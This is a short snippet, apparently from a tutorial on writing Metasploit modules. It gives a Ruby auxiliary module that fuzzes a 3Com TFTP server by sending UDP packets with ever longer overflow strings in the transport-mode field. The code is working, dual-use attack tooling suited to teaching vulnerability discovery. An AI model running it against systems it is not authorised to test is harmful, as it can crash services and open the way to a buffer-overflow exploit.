Here is an example...
#Metasploit
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => '3Com TFTP Fuzzer',
'Version' => '$Revision: 1 $',
'Description' => '3Com TFTP Fuzzer Passes Overly Long Transport Mode String',
'Author' => 'Your name here',
'License' => MSF_LICENSE
)
register_options( [
Opt::RPORT(69)
], self.class)
end
def run_host(ip)
# Create an unbound UDP socket
udp_sock = Rex::Socket::Udp.create(
'Context' =>
{
'Msf' => framework,
'MsfExploit' => self,
}
)
count = 10 # Set an initial count
while count < 2000 # While the count is under 2000 run
evil = "A" * count # Set a number of "A"s equal to count
pkt = "\x00\x02" + "\x41" + "\x00" + evil + "\x00" # Define the payload
udp_sock.sendto(pkt, ip, datastore['RPORT']) # Send the packet
print_status("Sending: #{evil}") # Status update
resp = udp_sock.get(1) # Capture the response
count += 10 # Increase count by 10, and loop
end
end
end